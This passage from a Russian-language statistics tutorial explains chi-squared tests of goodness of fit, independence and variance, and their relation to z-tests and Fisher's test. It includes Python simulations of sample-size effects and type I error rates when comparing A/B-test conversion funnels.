# рассчитываем статистику
k = len(observed) # число степеней свободы
statistic = (((observed - expected)**2)/expected).sum() # КСП
# рассчитываем p-value
p_value = 1 - stats.chi2.cdf(statistic, k - 1) # вероятность получить значение выше или равное статистике
return k - 1, statistic, p_value
```
Сравним ее результат со встроенным методом, используя предыдущий пример:
```
# задаем исходные данные
np.random.seed(1234)
data = np.array([180, 250, 120, 225, 225])
expected = np.array([200, 200, 200, 200, 200])
# результат самодельного теста
display(diy_chisquare(data, expected))
# результат встроенного теста
from scipy.stats import chisquare
chisquare(data, expected)
```
`(4, 52.75, 9.612521889579284e-11)`
`Power_divergenceResult(statistic=52.75, pvalue=9.612518035368181e-11)`
Результаты полностью совпадают.
Интереса ради исследуем вопрос о том, как размер выборки влияет на то, будет ли распределение КСП соответствовать распределению *χ*². Зададим функцию проведения эксперимента:
```
def generate_max_likelihood_distro(size, num_samples, sample_size, k_range, ax, ax2, ax3, title):
ks_results = []
for line_i, k in enumerate(k_range): # перебираем степени свободы (количество классов, на которые разбиваются наблюдения)
data = pd.Series(np.random.choice(k, size, p = [1 / k] * k)) # не генерируем равномерно распределенный массив групп наблюдений
max_likelihood = []
for i in range(num_samples):
observed = data.sample(sample_size, replace = True).value_counts() # считаем, сколько раз появилось каждое из значений
expected = sample_size/k # ожидаемое число значений
max_likelihood += [[i,
k - 1,
(((observed - expected)**2)/expected).sum() # максимальное правдоподобие
]]
max_likelihood = pd.DataFrame(max_likelihood, columns = ['Sample #', 'Degrees of freedom', 'Max likelyhood distribution'])
# строим графики распределений
sns.kdeplot(max_likelihood['Max likelyhood distribution'], label = 'k = {}'.format(k), ax = ax)
ax.legend(title = 'Степени свободы'), ax.set_ylabel('$f_k(x)$'), ax.set_xlabel('$x$'), ax.set_title(title)
# строим qq-графики
stats.probplot(max_likelihood['Max likelyhood distribution'],
dist = stats.chi2, sparams = (k - 1), # chi2 с числом степеней свободы k-1
plot = ax2, fit = False)
line_index = (line_i + 1) * 2
(ax2.get_lines()[line_index - 2].set_color(ax.get_lines()[line_i].get_color()),
ax2.get_lines()[line_index - 2].set_label('k = {}'.format(k)),
ax2.get_lines()[line_index - 2].set_markersize(3),
ax2.get_lines()[line_index - 2].set_alpha(0.5)
)
ax2.get_lines()[line_index - 1].set_color('lightgrey'), ax2.get_lines()[line_index - 1].set_linestyle(':')
ax2.set_title('Соответствие распределению $\chi^2$'), ax2.legend(title = 'Степени свободы')
# проводим КС-тест
ks_stat, ks_p = stats.kstest(max_likelihood['Max likelyhood distribution'], 'chi2', args = (k - 1, ))
ks_results.append([k, ks_stat, ks_p])
ks_results = pd.DataFrame(ks_results, columns = ['k', 'statistic', 'p']).set_index('k')
ks_results[['p']].plot(ax = ax3, xticks = ks_results.index, label = '$p$-value')
ax3.axhline(0.05 / len(k_range), color = 'red', linestyle = ':', label = 'alpha = {:.2f}'.format(0.05 / len(k_range))) # с коррекцией Бонферрони
ax3.set_ylabel('$p$-value'), ax3.set_xlabel('$k$ (степени свободы)'), ax3.set_title('Результаты КС-теста'), ax3.legend()
```
Исследуем влияние размера выборки на соответствие статистики распределению *χ*²:
```
np.random.seed(12345)
size = 100000 # размер «генеральной совокупности» — исходной большой выборки
num_samples = 1000
sample_size = 100
plt.figure(figsize = (25, 12))
sample_sizes = [10, 50, 100, 500, 1000, 2000]
for i, sample_size in enumerate(sample_sizes):
generate_max_likelihood_distro(size, num_samples, sample_size,
range(2, 22, 3),
title = 'Размер выборки $n = {}$'.format(sample_size),
ax = plt.subplot(3, len(sample_sizes), i + 1),
ax2 = plt.subplot(3, len(sample_sizes), len(sample_sizes) + i + 1),
ax3 = plt.subplot(3, len(sample_sizes), len(sample_sizes) * 2 + i + 1),
)
plt.tight_layout()
```
Наблюдения и выводы:
* при увеличении размера выборки результат становится менее шумным;
* сами распределения весьма похожи на *χ*²;
* QQ-plot показывает, что распределение статистики становится близко к *χ*² даже для малых *k,* когда размер выборки превышает 100 наблюдений;
* тест Колмогорова-Смирнова также показывает, что с ростом размера выборок статистика уверенно приближается к *χ*².
Мы показали эмпирически, что КСП действительно имеет распределение *χ*².
### 2.2 χ²-тест на независимость
Тест *χ*²-тест на независимость (test of independence/association) отличается от предыдущего теста постановкой гипотез:
* H0: категориальные переменные A и B независимы;
* H1: категориальные переменные A и B связаны между собой.
Допустим, у нас есть таблица сопряженности (из [примера](https://www.khanacademy.org/math/ap-statistics/chi-square-tests/chi-square-tests-two-way-tables/v/chi-square-test-association-independence)). Таблица сопряженности описывает наблюдаемые (observed) результаты:
Согласно теореме умножения вероятностей, в том случае, когда две случайные величины A и B независимы, вероятность получить совместное событие равна *P(AB)* = *P(A) ⋅ P(B)*. Таким образом, наши ожидаемые (expected) величины можно рассчитать по формуле умножения вероятностей и свести в таблицу:
Используя эту таблицу, мы можем рассчитать статистику по формуле:
Готовую статистику можно подставить в CDF для распределения *χ*² и получить p-value.
Напишем функцию для расчетов:
```
def diy_chi2_contingency(contingency_table):
# общее число наблюдений
total = contingency_table.sum().sum()
# суммы по строкам и столбцам
col_probs = contingency_table.sum(axis = 0).values
row_probs = contingency_table.sum(axis = 1).values
# превращаем их в вероятности
col_probs = col_probs / total
row_probs = row_probs / total
# рассчитываем ожидаемые значения
expected = np.array([col_probs]).T @ np.array([row_probs]) # перемножаем вектор-столбец вероятностей в рядах на вектор-стороку вероятностей в столбцах
expected = expected.T
expected = expected * total
# рассчитываем статистику
statistic = ((contingency_table.values - expected)**2)/expected
statistic = statistic.sum()
# определяем число степеней свободы
dof = (contingency_table.shape[0] - 1) * (contingency_table.shape[1] - 1)
# рассчитываем p-value
p_value = 1 - stats.chi2.cdf(statistic, dof) # вероятность получить значение выше или равное критерию МП
return dof, statistic, p_value
contingency_table = pd.DataFrame([[11, 3, 8], [2, 9, 14], [12, 13, 28]])
diy_chi2_contingency(contingency_table)
```
`(4, 11.942092624356777, 0.01778711460986071)`
Сравним результат со встроенной функцией:
```
from scipy.stats import chi2_contingency
chi2_contingency(contingency_table)[0:3]
```
`(11.942092624356777, 0.0177871146098607, 4)`
Результаты полностью идентичны.
### 2.3 χ²-тест для дисперсии
Третий вид *χ*²-теста не имеет никакой связи с предыдущими за исключением того, что его статистика
также имеет распределение:
Вот [доказательство](https://www.real-statistics.com/chi-square-and-f-distributions/one-sample-hypothesis-testing-variance/). Здесь *S* — это наблюдаемое выборочное СКО, а σ — ожидаемое СКО.
Пример расчета статистики [тут](https://towardsdatascience.com/making-inferences-about-a-single-population-variance-814a15b44857).
В Python нет встроенной функции, но можно ее написать: [пример](https://stats.stackexchange.com/questions/495912/chi2-test-for-the-variance-in-python).
Тест χ² для дисперсии не используется для сравнения выборок. Для этого [служит](https://opentextbc.ca/introbusinessstatopenstax/chapter/test-of-two-variances/) *F*-тест (очень чувствителен к требованию нормальности данных), а для ненормальных данных — тесты Левена или Бартлетта (оба есть в Python).
Нас, как практиков, конечно же, прежде всего интересует вопрос — можно ли использовать этот тест для ненормально распределенных данных (потому что на практике мы практически никогда не работаем с нормальными распределениями).
Для этого сравним распределение статистики для нормально распределенных и экспоненциально распределенных данных. Кроме того, оценим влияние размера выборки на результат:
```
np.random.seed(1234)
size = 100000 # размер «генеральной совокупности» — исходной большой выборки
num_samples = 1000
sample_size = 1000
std_threshold = 1.1
data_norm = pd.Series(np.random.normal(0, std_threshold, size))
data_exp = pd.Series(np.random.exponential(std_threshold, size))
plt.figure(figsize = (25, 5))
sample_sizes = [10, 30, 50, 100, 500, 1000]
for i, sample_size in enumerate(sample_sizes):
statistics = []
for j in range(num_samples):
statistics += [[j,
(sample_size - 1) * data_norm.sample(sample_size, replace = True).var() / (std_threshold ** 2), # статистика для нормально распределенных данных
(sample_size - 1) * data_exp.sample(sample_size, replace = True).var() / (std_threshold ** 2) # статистика для жкспоненциально распределенных данных
]]
statistics = pd.DataFrame(statistics, columns = ['Sample #', 'Statistic (normal data)', 'Statistic (exponential data)'])
# строим графики распределений
ax = plt.subplot(1, len(sample_sizes), i + 1)
sns.kdeplot(statistics['Statistic (normal data)'], label = 'Нормально распределенные данные', color = 'orange', linestyle = ':', ax = ax)
sns.kdeplot(statistics['Statistic (exponential data)'], label = 'Экспоненциально распределенные данные', color = 'orange', ax = ax)
sns.kdeplot(pd.Series(np.random.chisquare(sample_size - 1, size)), color = 'blue', label = 'Эталонное распределение $\chi^2$', ax = ax)
plt.title('Размер выборки: {}'.format(sample_size)), plt.xlabel('Статистика'), plt.ylabel('Частота')
if i == 0: plt.legend()
plt.tight_layout()
```
Наблюдения:
* распределение статистики для нормально распределенных данных повторяет ожидаемое распределение:
* распределение статистики для экспоненциально распределенных данных отличается от эталонного распределения. Более того, различие, похоже, растет с ростом размера выборки.
Вывод: промысловой ценности не имеет.
3. Связь между z-тестом и χ²-тестом (и тестом Фишера)
-----------------------------------------------------
Довольно часто встречаются попытки использовать *χ*²-тест вместо *z*-теста для пропорций. Также можно встретить утверждения о том, что *z*-тест эквивалентен *χ*²-тесту для ситуации с двумя классами. Имеется в виду эквивалентность результатов между:
* двухвыборочным *z*-тестом для пропорций;
* тестом *χ*² на независимость данных (test of independence) в ситуации, когда таблица сопряженности имеет размерность 2 x 2.
Пример: допустим, у нас есть результаты бинарного эксперимента:
```
np.random.seed(1234)
size = 1000
p = 0.4
data = pd.Series(np.random.choice(2, size, p = [1 - p, p]))
```
Эти результаты можно представить в виде таблицы сопряженности, если добавить к ним ожидаемые значения:
```
contingency_table = pd.DataFrame([data.value_counts().values, [500, 500]], index = ['Observed', 'Expected'])
contingency_table
```
 Результат *χ*²-теста на независимость:
```
from scipy.stats import chi2_contingency
chi2_statistic, p_value, dof, exp = chi2_contingency(contingency_table, correction = False) # отключаем коррекцию (с ней результат чуть-чуть отличается)
chi2_statistic, p_value
```
`(14.555161038503186, 0.00013611529553341273)`
Результат двухвыборочного *z*-теста для пропорций:
```
from statsmodels.stats.proportion import proportions_ztest
z_statistic, p_value = proportions_ztest(contingency_table[0], contingency_table.sum(axis = 1), alternative = 'two-sided')
z_statistic, p_value
```
`(3.815122676730484, 0.00013611529553341327)`
p-value полностью совпадают. Более того, *z*-статистика равна квадратному корню из *χ*²-статистики:
```
z_statistic, math.sqrt(chi2_statistic)
```
`(3.815122676730484, 3.8151226767304856)`
Демонстрация математической эквивалентности: [тут](https://stats.stackexchange.com/questions/173415/at-what-level-is-a-chi2-test-mathematically-identical-to-a-z-test-of-propo) и [тут](https://www.real-statistics.com/chi-square-and-f-distributions/goodness-of-fit/).
Нужно отметить, что тест на гомогенность не эквивалентен *z*-тесту:
```
from scipy.stats import chisquare
chi2_statistic, p_value = chisquare(contingency_table.loc['Observed'], f_exp = contingency_table.loc['Expected']) # тестируем наблюдаемые величины на равновероятность
chi2_statistic, p_value
```
`(28.9, 7.62129129638297e-08)`
Тест Фишера часто рекомендуют применять вместо *χ*²-теста для таблиц сопряженности размером 2 х 2 в тех случаях, когда частоты очень малы (ячейки таблицы сопряженности имеют значения <= 5). Если тест Фишера до какой-то степени эквивалентен *χ*²-тесту, то он должен быть эквивалентен и *z*-тесту для пропорций. Действительно, p-value довольно похожи:
```
from scipy.stats import fisher_exact
fisher_exact(contingency_table, alternative = 'two-sided')
```
`(1.4096385542168675, 0.00016169735747221216)`
4. Размер выборки для χ²-теста
------------------------------
[Утверждается](https://www.researchgate.net/post/Large_Sample_Size_and_Differences_in_Chi-Square_Statistic), что размер выборки должен быть такой, чтобы:
* каждая из ячеек таблицы сопряженности была больше 5 (если нет, то это легко исправляется умножением таблицы на нужный множитель);
* общий размер сэмпла был не более 500, так как увеличение размера сэмпла вызывает рост статистики и вероятности ложноположительных результатов.
Проверим это на практическом примере.
Возьмем таблицу сопряженности, при которой тест подтверждает нулевую гипотезу (это слегка модифицированная таблица ожидаемых значений из одного из предыдущих примеров) и будем последовательно увеличивать размер выборки:
```
# тестовые данные
test_table = pd.DataFrame([[6, 5.5, 11], [6.25, 7, 12.5], [13.25, 13.25, 26.5]])
# последовательно увеличиваем количество наблюдений
result = []
for mult in range(1, 100, 1):
current = test_table * mult
statistic_ind, p_ind, _, _ = chi2_contingency(current) # тест по увеличиваемой таблице
result += [[current.sum().sum(), p_ind, statistic_ind]]
result = pd.DataFrame(result, columns = ['sample_size', 'p-value', 'statistic']).set_index('sample_size')
# график p-value
ax = result['p-value'].plot(figsize = (10, 5), color = 'red', grid = True)
plt.ylabel('p-value'), plt.xlabel('Размер выборки')
# график статистики
ax2 = ax.twinx()
result['statistic'].plot(ax = ax2, color = 'blue', label = 'Статистика')
# собираем легенду
lines, labels = ax.get_legend_handles_labels()
lines2, labels2 = ax2.get_legend_handles_labels()
ax2.legend(lines + lines2, labels + labels2, loc = 1, title = 'Параметры')
plt.ylabel('Статистика'), plt.title('Влияние размера выборки на результаты теста $\chi^2$');
```
Видно, что с ростом размера выборки статистика растет линейно, при этом p-value стремится к 0 и рано или поздно тест покажет статистически значимые отличия при исходных пропорциях.
Таким образом, размер выборки желательно брать достаточно малый (видимо, 500 — хорошая практическая граница).
5. Применение χ²-тестов для анализа множественных пропорций
-----------------------------------------------------------
Довольно часто встречаются утверждения, что *χ*²-тест можно применять для сравнения множественных пропорций. Например, при сравнении нескольких воронок (скажем, в процессе A/B-тестирования) предлагается вместо серии последовательных *z*-тестов для пропорций применять тест *χ*². В этом разделе мы посмотрим, какие из *χ*²-тестов применимы для задачи анализа воронок.
Сразу можно сказать, что для анализа воронок неприменим тест *χ*² для дисперсии.
Чтобы разобраться с оставшимися двумя видами тестов *χ*², представим, что нам нужно проанализировать результаты А/B теста, в котором тестировались два вида воронок — воронка контрольной группы (A) и воронка тестовой группы (B).
Теоретически, *χ*²-тест на гомогенность можно применить, если рассматривать воронку контрольной группы как набор ожидаемых значений (expected), а воронку тестовой группы — как набор наблюдаемых значений (observed). Тогда тест покажет наличие статистически значимого отличия между observed и expected.
Аналогично *χ*²-тест на независимость можно применять для анализа любого числа воронок, если рассматривать все эти воронки как таблицу сопряженности. В этом случае тест покажет, зависит ли переменная «шаги воронки» от переменной «группа теста» или нет.
Но, кажется, здесь возникает нюанс. Дело в том, что логика обоих видов *χ*²-теста предполагает, что на их вход подаются таблицы сопряженности. Таблицу сопряженности, прежде всего, характеризует то, что в ней каждый объект наблюдений может попадать в одну единственную категорию. Это условия, очевидно, не выполняется для таблиц воронок, так как каждый объект наблюдений (в случае с воронками — это пользователь) может выполнить несколько шагов воронки и оказаться сразу в нескольких категориях.
Чтобы превратить таблицу воронок в таблицу сопряженности, нужно провести простую трансформацию — посчитать, сколько пользователей ушло из воронки на каждом из шагов. Таким образом, для каждого пользователя в таблице остается одно единственное наблюдение. Например, таблица сопряженности для таблицы из двух воронок из примера выше будет иметь вид:
В этом примере мы полагаем, что пользователь не может перепрыгивать через шаги воронок, поэтому число отвалившихся пользователей для каждого шага равно разности уникальных пользователей на двух соседних шагах.
Есть ли какое-либо отличие в результатах, получаемых при подстановке в *χ*²-тесты таблиц воронок и таблиц сопряженности? Действительно, довольно легко подобрать пример, для которого тест, проведенный на данных таблицы сопряженности, даст правильный результат, а тест проведенный на таблице воронок — неправильный. К примеру, возьмем воронки из примера выше.
У них есть явные отличия, но *χ*²-тест для гомогенности, выполненный на таблице воронок показывает отсутствие отличий, а тот же тест, выполненный по таблице сопряженности, показывает, что отличия есть:
Казалось бы, все просто — трансформируем таблицы воронок в таблицы сопряженности, подаем их в *χ*²-тесты и получаем правильный результат. Но где гарантия, что получившийся выше результат не случаен, и в особенности, что результаты тестов никак не зависят от формы воронок. Давайте это проверим.
### 5.1 Зависимость результатов χ²-тестов от формы воронок
Сначала протестируем, как от формы воронок зависит вероятность ошибки первого рода (вероятность обнаружить отличия там, где их нет). Для этого проведем серию экспериментов:
1. создадим набор воронок, состоящих из трех шагов. Каждая воронка будет описываться парой чисел — вероятностью конвертироваться из первого во второй шаг и вероятностью конверсии из второго шага в третий. То есть воронка 100 -> 50 -> 25 будет описываться парой чисел [0.5, 0.5];
2. для каждой из созданных воронок построим N пар выборок;
3. для каждой из пар выборок проведем 5 тестов:
* *χ*²-тест на гомогенность по таблице воронок;
* *χ*²-тест на гомогенность по таблице сопряженности;
* *χ*²-тест на независимость по таблице воронок;
* *χ*²-тест на независимость по таблице сопряженности;
* *z*-тест, сравнивающий доли пользователей, достигших последнего шага воронок.
Начнем с функции построения воронок:
```
# строим воронки, из которых будем делать сэмплирование
# pop_size — количество пользователей, которые участвуют в каждой воронке
# coeffs — массив процентных значений отличий воронок для тестирования ошибок второго рода
# rel — параметр, управляющий тем, какая воронка будет получена — абсолютная (доля рассчитывается от первого шага воронки) или относительная (доля рассчитывается от предыдущего шага)
def generate_funnel_log(pop_size, coeffs, rel = False, random_state = 12345):
# задаем начальный шаг
result = pd.DataFrame([[0, 1]] * pop_size, columns = ['step', 'user_id'])
result['user_id'] = result['user_id'].apply(lambda x: ''.join(random.choice('abcdefghij1234567890') for i in range(10)))
# на каждом шаге берем только нужный процент пользователей, достигших прошлого шага
for step, step_coeff in enumerate(coeffs):
current = result.query('step == @step')
# если относительная воронка, то число уников на этом шаге считаем как % от предыдущего, если абсолютная, то от всей популяции
current_pop = pop_size
if rel: current_pop = current['user_id'].nunique()
current = current.sample(int(np.ceil(current_pop * step_coeff)), random_state = random_state)
current['step'] = step + 1
result = result.append(current)
return result
```
С помощью этой функции сконструируем воронки разной формы:
```
# конструируем разные формы воронок
# steps — на сколько шагов будут разбиты относительные шаги воронок
# pop_size — количество пользователей, которые участвуют в каждой воронке
# differences — массив процентных значений отличий воронок для тестирования ошибок второго рода
# file_name — файл, в который будут записаны результаты генерации лога (при определенных условиях его генерация может занимать существенное время)
def generate_funnel_set(steps, pop_size, differences = [], file_name = None):
result = pd.DataFrame()
funnel_num = 0
# проверяем ранее сгенерированный файл лога воронки
if file_name is not None:
try:
return pd.read_csv(file_name)
except:
print(f'{file_name} не существует.')
# добавляем 1 к списку различий, чтобы сгенерировать исходную воронку
differences = [1] + differences
for first_step_prob in np.linspace(0, 1, num = steps):
for second_step_prob in np.linspace(0, 1, num = steps):
# отсекаем ситуации, когда воронка плоская
if first_step_prob == 0 or second_step_prob == 0: continue
funnel_coeffs = [first_step_prob, second_step_prob]
# генерируем набор воронок, имеющих отличия от исходной воронки
# здесь же генерируется и она сама с diff = 1
for i, diff in enumerate(differences):
current_funnel = generate_funnel_log(pop_size, [x * diff for x in funnel_coeffs], rel = True)
# номер воронки для быстрого к ней обращения
current_funnel['funnel_num'] = funnel_num
current_funnel['funnel_diff_num'] = i
# параметры воронки
current_funnel['first_step_prob'] = first_step_prob
current_funnel['second_step_prob'] = second_step_prob
current_funnel['diff'] = diff
result = result.append(current_funnel)
funnel_num += 1
# сохраняем воронку в файл
if file_name is not None:
result.to_csv(file_name)
return result
# набор воронок
log = generate_funnel_set(steps = 25, pop_size = 10000, differences = [], file_name = 'sample_log.csv')
display(log.query('funnel_num == 10')[['first_step_prob', 'second_step_prob']].drop_duplicates())
report = log.query('funnel_num == 10').groupby('step').agg({'user_id': 'nunique'})
report['perc'] = report['user_id'] / report.loc[0, 'user_id']
display(report)
```
Построим некоторые из полученных воронок и посмотрим, на какие классы мы можем их разделить:
```
# выбираем 5 произвольных воронок
sample_funnels = log['funnel_num'].drop_duplicates().sample(5, random_state = 1234567)
# строим их
report = log.query('funnel_num in @sample_funnels')
report['funnel_name'] = report.apply(lambda x: f"№{x['funnel_num']}. Отн. конверсия {x['first_step_prob']:.2%} -> {x['second_step_prob']:.2%}", axis = 1)
report = report.pivot_table(index = 'step', columns = 'funnel_name', values = 'user_id', aggfunc = 'nunique')
report = report.div(report.loc[0], axis = 1)
# выводим графики
ax = report.plot(figsize = (15, 7), grid = True)
ax.yaxis.set_major_formatter(mtick.PercentFormatter(1))
ax.set_xticks(report.index)
plt.xlabel('Шаг воронки'), plt.ylabel('Абсолютная вероятность конверсии'), plt.legend(title = 'Воронки')
plt.title('Различные классы воронок');
```
Видно, что воронки, в сущности, делятся на три класса:
* воронки с немедленным падением — те, у которых на первом шаге наблюдается падение на более, чем 50% от нулевого. В этом случае конверсия во второй шаг не важна. На графике к этой категории относятся воронки №211 и №214;
* воронки с умеренным угасанием — те, у которых падение на первом шаге составляет не более 50% от нулевого, а на втором шаге — не более, чем 50% от первого. Например, этим критериям соответствует воронка №377;
* воронки с быстрым угасанием на втором шаге. На картинке выше это воронки №491 и №532.
Если мы построим график, у которого по оси X отложена вероятность конверсии из шага 0 в шаг 1, а по оси Y — вероятность конверсии из шага 1 в шаг 2, то воронки расположатся на нем вот так:
```
report = log.query('funnel_num in @sample_funnels')
plot_data = report[['funnel_num', 'first_step_prob', 'second_step_prob']].drop_duplicates()
x, y, t = plot_data['first_step_prob'].values, plot_data['second_step_prob'].values, plot_data['funnel_num'].values
ax = plt.axes()
plt.scatter(x, y)
plt.xlim((0, 1)), plt.ylim((0, 1))
# границы типов воронок
ax.axvline(0.5, linestyle = '-.', color = 'red')
ax.hlines(y = 0.5, xmin = 0.5, xmax = 1, linestyle = '-.', color = 'red')
ax.text(0.07, 0.9, 'Быстрое', fontsize = 15, color = 'red')
ax.text(0.55, 0.9, 'Умеренное', fontsize = 15, color = 'red')
ax.text(0.55, 0.3, 'Быстрое\n2-й шаг', fontsize = 15, color = 'red');
for i, txt in enumerate(t):
ax.annotate(txt, (x[i] + 0.03, y[i]))
plt.xlabel('Вероятность конверсии в первый шаг'), plt.ylabel('Вероятность конверсии во второй шаг');
```
Если мы проведем для каждой воронки серию тестов, то мы сможем построить график вероятности, на котором будет показан шанс допустить ошибку первого рода. Он будет выглядеть примерно так:
Здесь зеленым цветом обозначены области с умеренной вероятностью допустить ошибку, а оттенки красного показывают области с высокими вероятностями ошибок.
Подготовим набор воронок, которые будут использоваться при тестировании:
```
# генерирует набор воронок, в котором будут не только исходные воронки, но и отличающиеся от них на 75%, 50% и 25%
funnel_log = generate_funnel_set(steps = 25, pop_size = 2000, differences = [0.9, 0.8, 0.7], file_name = 'funnel_log.csv')
display(funnel_log.query('funnel_num == 10')[['diff', 'first_step_prob', 'second_step_prob']].drop_duplicates())
```
Зададим функции для проведения экспериментов:
* `run_experiment` получает на вход данные воронок, получает из них выборки нужного размера, формирует таблицы воронок и сопряженности, а также проводит по ним статистические тесты;
* `run_error_experiments` перебирает наборы воронок для тестирования и для каждого набора вызывает функцию `run_experiment`. Помимо этого, `run_error_experiments` отображает графики результатов.
```
# для каждого сочетания воронок проводим серию экспериментов
# funnel_log — лог с данными воронок
# sample_size — размер выборок, формируемых в каждом из экспериментов
# number_of_experiments — число экспериментов для каждой из воронок
# alpha — уровень значимости
# test_func — функция, описывающая набор статистических тестов, которые проводятся в каждом из экспериментов
# result_column_names — словарь человеко-читаемых названий колонок с результатами экспериментов
# compare_func — функция, служащая для сравнения p-value в каждом из экспериментов с уровнем значимости
def run_experiment(funnel_log, sample_size, number_of_experiments, alpha, test_func, compare_func):
result = []
errors = 0
# проводим эксперименты
for i in range(number_of_experiments):
# составляем выборки из всех групп
funnel = pd.DataFrame()
for j, group in enumerate(funnel_log['group'].unique()):
test_users = funnel_log.query('group == @group')['user_id'].drop_duplicates().sample(sample_size, random_state = i + j)
current_funnel = funnel_log.query('group == @group and user_id in @test_users')
funnel = funnel.append(current_funnel)
# формируем таблицу воронок
funnel = funnel.pivot_table(index = 'step', columns = 'group', values = 'user_id', aggfunc = 'nunique').fillna(0)
# игнорируются ситуации, когда из-за малого размера выборки воронка состоит только из первого шага
if funnel.shape[0] == 1:
errors += 1
continue
# формируем таблицу сопряженности
for col in funnel.columns:
funnel[f'cont_{col}'] = funnel[col] - funnel[col].shift(-1)
# заполняем пропуски в последнем ряду оставшимися пользователями
funnel_cols = [x for x in funnel.columns if 'cont' not in str(x)]
cont_cols = [x for x in funnel.columns if 'cont' in str(x)]
funnel.loc[funnel.index.max(), cont_cols] = funnel.loc[funnel.index.max(), funnel_cols].values
# если в таблице сопряженности попадаются нули, то пропускаем такие ситуации
if (funnel[cont_cols] == 0).max().max():
errors += 1
continue
# проводим тесты
result += [test_func(funnel)]
result = pd.DataFrame(result)
result = result.apply(compare_func, args = [alpha], axis = 1)
return list(result.mean().values), errors
# funnel_log — лог с данными воронок
# diffs — набор воронок, которые сравниваются с эталонной. Например, если diff = [0.7], то c эталонной воронкой будет сравниваться воронка, имеющая 30% отличие от эталонной
# sample_size — размер выборок, формируемых в каждом из экспериментов
# number_of_experiments — число экспериментов для каждой из воронок
# alpha — уровень значимости
# test_func — функция, описывающая набор статистических тестов, которые проводятся в каждом из экспериментов
# result_column_names — словарь человеко-читаемых названий колонок с результатами экспериментов
# compare_func — функция, служащая для сравнения p-value в каждом из экспериментов с уровнем значимости
# levels — линии уровня на карте ошибок
# color_map — цвета для отображения уровней ошибок
# filename_template — шаблон имени файлов, в которые будут записаны результаты экспериментов
def run_error_experiments(funnel_log, diffs, sample_size, number_of_experiments, alpha, test_func, result_column_names, compare_func, levels, color_map, suptitle, filename_template):
# проверяем наличие более ранних расчетов
existing_result_files = [f for f in os.listdir('.') if re.match(filename_template, f)]
if len(existing_result_files) > 0:
# если результаты более ранних расчетов найдены, то просто читаем их
result = pd.read_csv(filename_template + '_result.csv')
errors = pd.read_csv(filename_template + '_errors.csv')
else:
# если нет — считаем все заново
result = []
errors = []
for funnel_num in funnel_log['funnel_num'].unique():
# A-воронка
current_funnel_log = funnel_log.query('funnel_num == @funnel_num and diff == 1')
current_funnel_log['group'] = 0
# последовательно формируем B-воронки с разной степенью отличия от исходной
for i, diff in enumerate(diffs):
current_funnel_log_another = funnel_log.query('funnel_num == @funnel_num and diff == @diff')
current_funnel_log_another['group'] = i + 1
current_funnel_log = current_funnel_log.append(current_funnel_log_another)
# для каждой пары проводим эксперимент
current_exp_results, current_exp_errors = run_experiment(current_funnel_log,
sample_size = sample_size,
number_of_experiments = number_of_experiments,
alpha = alpha,
test_func = test_func,
compare_func = compare_func
)
# собираем результаты в единый массив
result += [[funnel_num, current_funnel_log['first_step_prob'].max(), current_funnel_log['second_step_prob'].max()] + current_exp_results]
errors += [[funnel_num, current_funnel_log['first_step_prob'].max(), current_funnel_log['second_step_prob'].max(), current_exp_errors]]
result = pd.DataFrame(result, columns = ['funnel_num', 'first_step_prob', 'second_step_prob'] + list(result_column_names.keys()))
errors = pd.DataFrame(errors, columns = ['funnel_num', 'first_step_prob', 'second_step_prob', 'errors'])
# сохраняем результаты расчетов в файлы
result.to_csv(filename_template + '_result.csv', index = False)
errors.to_csv(filename_template + '_errors.csv', index = False)
# визуализация
plt.figure(figsize = (30, 7))
def show_contour(data, x_col, y_col, z_col, levels, ax, title):
z = data.pivot_table(index = y_col, columns = x_col, values = z_col, aggfunc = 'max')
x, y = z.columns, z.index.values
# закраска областей
ax.contourf(x, y, z, levels = levels, cmap = color_map, alpha = 0.3, norm = matplotlib.colors.BoundaryNorm(levels,len(levels)))
line_colors = ['black' for l in levels]
# линии уровня
cp = ax.contour(x, y, z, levels = levels, colors = 'black')
ax.clabel(cp, fontsize = 8, colors = line_colors)
# границы типов воронок
ax.axvline(0.5, linestyle = '-.', color = 'red')
ax.hlines(y = 0.5, xmin = 0.5, xmax = z.columns.values[-1], linestyle = '-.', color = 'red')
ax.text(0.07, 0.9, 'Быстрое', fontsize = 15, color = 'red')
ax.text(0.55, 0.9, 'Умеренное', fontsize = 15, color = 'red')
ax.text(0.55, 0.41, 'Быстрое\n2-й шаг', fontsize = 15, color = 'red')
# подписи осей и заголовки
plt.xlabel('Вероятность конверсии в первый шаг'), plt.ylabel('Вероятность конверсии во второй шаг')
plt.title(title)
for i, col in enumerate(result_column_names.keys()):
show_contour(result, 'first_step_prob', 'second_step_prob', col, levels, ax = plt.subplot(1, len(result_column_names), i + 1), title = result_column_names[col])
plt.suptitle(suptitle)
plt.show()
return result, errors
```
Зададим начальные условия экспериментов и наборы тестовых функций:
```
# начальные условия
number_of_experiments = 100
alpha = 0.05
# тестировочная функция для двух воронок
two_funnel_test_function = lambda funnel: [chisquare(funnel[1], funnel[0]).pvalue, # тест на гомогенность по таблице воронок
chisquare(funnel['cont_1'], funnel['cont_0']).pvalue, # тест на гомогенность по таблице сопряженности
chi2_contingency(funnel[[0, 1]])[1], # тест на независимость по таблице воронок
chi2_contingency(funnel[['cont_0', 'cont_1']])[1], # тест на независимотьс по таблице сопряженности
proportions_ztest(funnel.loc[funnel.shape[0] - 1, [0, 1]].values, funnel.loc[0, [0, 1]].values)[1] # z-тест на последний шаг воронки
]
two_funnel_result_column_names = {'chisquare_funnel': '$\chi^2$-тест на гомогенность, таблица воронок',
'chisquare_cont': '$\chi^2$-тест на гомогенность, таблица сопряженности',
'chi2_contingency_funnel': '$\chi^2$-тест на независимость, таблица воронок',
'cchi2_contingency_cont': '$\chi^2$-тест на независимость, таблица сопряженности',
'z_test': 'z-тест по последнему шагу воронок'}
# тестирововчная функция для 3 и более воронок
mult_funnel_test_function = lambda funnel: [chi2_contingency(funnel[[x for x in funnel.columns if 'cont' not in str(x)]])[1], # тест на независимость по таблице воронок
chi2_contingency(funnel[[x for x in funnel.columns if 'cont' in str(x)]])[1] # тест на независимость по таблице сопряженности
]
mult_funnel_result_column_names = {'chi2_contingency_funnel': '$\chi^2$-тест на независимость, таблица воронок',
'cchi2_contingency_cont': '$\chi^2$-тест на независимость, таблица сопряженности'}
```
Зададим графические элементы для отображения карт ошибок:
```
# графические элементы
# уровни и цвета для тестирования ошибок первого рода
type_1_error_levels = [0, 0.01, 0.05, 0.1, 0.2, 0.3, 1]
type_1_error_color_map = matplotlib.colors.ListedColormap(['forestgreen',
'palegreen',
'lightcoral',
'indianred',
'maroon',
'red'])
# уровни и цвета для тестирования ошибок второго рода
